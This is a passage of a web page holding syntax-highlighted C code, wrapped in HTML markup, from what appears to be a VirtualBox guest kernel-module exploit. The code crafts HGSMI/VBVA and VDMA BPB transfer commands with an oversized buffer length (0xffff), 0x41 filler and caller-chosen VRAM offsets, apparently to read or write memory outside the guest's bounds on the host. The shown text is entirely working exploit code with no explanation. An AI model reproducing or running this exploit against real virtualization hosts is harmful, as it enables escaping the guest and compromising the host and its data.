class=\"crayon-v\">p<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">{<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5a69065f6e37d433429326-612\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-e\">printk<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-s\">&#8220;Failed to allocate HGSMI memoryn&#8221;<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5a69065f6e37d433429326-613\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-st\">return<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">&#8211;<\/span><span class=\"crayon-v\">ENOMEM<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5a69065f6e37d433429326-614\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-sy\">}<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5a69065f6e37d433429326-615\">&nbsp;<\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5a69065f6e37d433429326-616\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-e\">memcpy<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-v\">p<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">req<\/span><span class=\"crayon-o\">-&gt;<\/span><span class=\"crayon-v\">data<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">req<\/span><span class=\"crayon-o\">-&gt;<\/span><span class=\"crayon-v\">size<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5a69065f6e37d433429326-617\">&nbsp;<\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5a69065f6e37d433429326-618\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-t\">int<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">rc<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-e\">VBoxHGSMIBufferSubmit<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-v\">g_hgsmiContext<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">p<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5a69065f6e37d433429326-619\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-e\">VBoxHGSMIBufferFree<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-v\">g_hgsmiContext<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">p<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5a69065f6e37d433429326-620\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-st\">if<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-e\">RT_FAILURE<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-v\">rc<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">{<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5a69065f6e37d433429326-621\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-e\">printk<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-s\">&#8220;Error while sending VBVA command: %dn&#8221;<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">rc<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5a69065f6e37d433429326-622\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-st\">return<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">&#8211;<\/span><span class=\"crayon-v\">EFAULT<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5a69065f6e37d433429326-623\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-sy\">}<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5a69065f6e37d433429326-624\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-sy\">}<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-st\">else<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-st\">if<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-v\">req<\/span><span class=\"crayon-o\">-&gt;<\/span><span class=\"crayon-v\">type<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">==<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">4<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">{<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5a69065f6e37d433429326-625\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-t\">char<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">*<\/span><span class=\"crayon-v\">p<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5a69065f6e37d433429326-626\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-e\">printk<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-s\">&#8220;Preparing BpbTransfer command for reading %u bytes (offset=%llu).n&#8221;<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">req<\/span><span class=\"crayon-o\">-&gt;<\/span><span class=\"crayon-v\">size<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">req<\/span><span class=\"crayon-o\">-&gt;<\/span><span class=\"crayon-v\">offset<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5a69065f6e37d433429326-627\">&nbsp;<\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5a69065f6e37d433429326-628\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-e\">uint32_t <\/span><span class=\"crayon-v\">header_size<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">=<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5a69065f6e37d433429326-629\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-cn\">32<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">+<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5a69065f6e37d433429326-630\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-e\">sizeof<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-v\">VBOXVDMACBUF_DR<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">+<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5a69065f6e37d433429326-631\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-e\">sizeof<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-v\">VBOXVDMACMD<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">+<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5a69065f6e37d433429326-632\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-e\">sizeof<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-v\">VBOXVDMACMD_DMA_BPB_TRANSFER<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5a69065f6e37d433429326-633\">&nbsp;<\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5a69065f6e37d433429326-634\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-v\">p<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-t\">char<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">*<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-e\">VBoxHGSMIBufferAlloc<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-v\">g_hgsmiContext<\/span><span class=\"crayon-sy\">,<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5a69065f6e37d433429326-635\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <\/span><span class=\"crayon-v\">header_size<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">+<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">req<\/span><span class=\"crayon-o\">-&gt;<\/span><span class=\"crayon-v\">size<\/span><span class=\"crayon-sy\">,<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5a69065f6e37d433429326-636\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <\/span><span class=\"crayon-v\">HGSMI_CH_VBVA<\/span><span class=\"crayon-sy\">,<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5a69065f6e37d433429326-637\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <\/span><span class=\"crayon-cn\">11<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-c\">\/*VBVA_VDMA_CMD*\/<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5a69065f6e37d433429326-638\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-st\">if<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-o\">!<\/span><span class=\"crayon-v\">p<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">{<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5a69065f6e37d433429326-639\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-e\">printk<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-s\">&#8220;Failed to allocate HGSMI memoryn&#8221;<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5a69065f6e37d433429326-640\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-st\">return<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">&#8211;<\/span><span class=\"crayon-v\">ENOMEM<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5a69065f6e37d433429326-641\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-sy\">}<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5a69065f6e37d433429326-642\">&nbsp;<\/div>\n<div class=\"crayon-line\" id=\"crayon-5a69065f6e37d433429326-643\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-e\">memset<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-v\">p<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">+<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">header_size<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">0x41<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">req<\/span><span class=\"crayon-o\">-&gt;<\/span><span class=\"crayon-v\">size<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5a69065f6e37d433429326-644\">&nbsp;<\/div>\n<div class=\"crayon-line\" id=\"crayon-5a69065f6e37d433429326-645\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-e\">PVBOXVDMACBUF_DR <\/span><span class=\"crayon-v\">pCmd<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-v\">PVBOXVDMACBUF_DR<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-v\">p<\/span><span class=\"crayon-o\">+<\/span><span class=\"crayon-cn\">32<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5a69065f6e37d433429326-646\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-v\">pCmd<\/span><span class=\"crayon-o\">-&gt;<\/span><span class=\"crayon-v\">fFlags<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">2<\/span><span class=\"crayon-c\">\/*VBOXVDMACBUF_FLAG_BUF_FOLLOWS_DR*\/<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5a69065f6e37d433429326-647\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-v\">pCmd<\/span><span class=\"crayon-o\">-&gt;<\/span><span class=\"crayon-v\">cbBuf<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">0xffff<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5a69065f6e37d433429326-648\">&nbsp;<\/div>\n<div class=\"crayon-line\" id=\"crayon-5a69065f6e37d433429326-649\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-e\">PVBOXVDMACMD <\/span><span class=\"crayon-v\">pDmaCmd<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-v\">PVBOXVDMACMD<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-t\">char<\/span><span class=\"crayon-o\">*<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-v\">pCmd<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">+<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-e\">sizeof<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-v\">VBOXVDMACBUF_DR<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5a69065f6e37d433429326-650\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-v\">pDmaCmd<\/span><span class=\"crayon-o\">-&gt;<\/span><span class=\"crayon-v\">enmType<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">2<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-c\">\/* VBOXVDMACMD_TYPE_DMA_BPB_TRANSFER *\/<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5a69065f6e37d433429326-651\">&nbsp;<\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5a69065f6e37d433429326-652\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-e\">PVBOXVDMACMD_DMA_BPB_TRANSFER <\/span><span class=\"crayon-v\">pBpb<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-v\">PVBOXVDMACMD_DMA_BPB_TRANSFER<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-t\">char<\/span><span class=\"crayon-o\">*<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-v\">pDmaCmd<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">+<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-e\">sizeof<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-v\">VBOXVDMACMD<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5a69065f6e37d433429326-653\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-v\">pBpb<\/span><span class=\"crayon-o\">-&gt;<\/span><span class=\"crayon-v\">cbTransferSize<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">req<\/span><span class=\"crayon-o\">-&gt;<\/span><span class=\"crayon-v\">size<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5a69065f6e37d433429326-654\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-v\">pBpb<\/span><span class=\"crayon-o\">-&gt;<\/span><span class=\"crayon-v\">fFlags<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">3<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5a69065f6e37d433429326-655\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-v\">pBpb<\/span><span class=\"crayon-o\">-&gt;<\/span><span class=\"crayon-v\">Src<\/span><span class=\"crayon-sy\">.<\/span><span class=\"crayon-v\">offVramBuf<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">req<\/span><span class=\"crayon-o\">-&gt;<\/span><span class=\"crayon-v\">offset<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5a69065f6e37d433429326-656\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-v\">pBpb<\/span><span class=\"crayon-o\">-&gt;<\/span><span class=\"crayon-v\">Dst<\/span><span class=\"crayon-sy\">.<\/span><span class=\"crayon-v\">offVramBuf<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">p<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">&#8211;<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">g_vram<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">+<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">header_size<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5a69065f6e37d433429326-657\">&nbsp;<\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5a69065f6e37d433429326-658\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-t\">int<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">rc<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-e\">VBoxHGSMIBufferSubmit<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-v\">g_hgsmiContext<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">p<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5a69065f6e37d433429326-659\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-e\">VBoxHGSMIBufferFree<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-v\">g_hgsmiContext<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">p<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5a69065f6e37d433429326-660\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-st\">if<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-e\">RT_FAILURE<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-v\">rc<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">{<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5a69065f6e37d433429326-661\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-e\">printk<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-s\">&#8220;Error while sending VDMA command: %dn&#8221;<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">rc<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5a69065f6e37d433429326-662\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-st\">return<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">&#8211;<\/span><span class=\"crayon-v\">EFAULT<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5a69065f6e37d433429326-663\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-sy\">}<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5a69065f6e37d433429326-664\">&nbsp;<\/div>\n<div class=\"crayon-line\" id=\"crayon-5a69065f6e37d433429326-665\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-e\">memcpy<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-v\">req<\/span><span class=\"crayon-o\">-&gt;<\/span><span class=\"crayon-v\">data<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">p<\/span><span class=\"crayon-o\">+<\/span><span class=\"crayon-v\">header_size<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">req<\/span><span class=\"crayon-o\">-&gt;<\/span><span class=\"crayon-v\">size<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5a69065f6e37d433429326-666\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-sy\">}<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-st\">else<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-st\">if<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-v\">req<\/span><span class=\"crayon-o\">-&gt;<\/span><span class=\"crayon-v\">type<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">==<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">5<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">{<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5a69065f6e37d433429326-667\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-t\">char<\/span><span class=\"crayon-h\"> <\/span><span 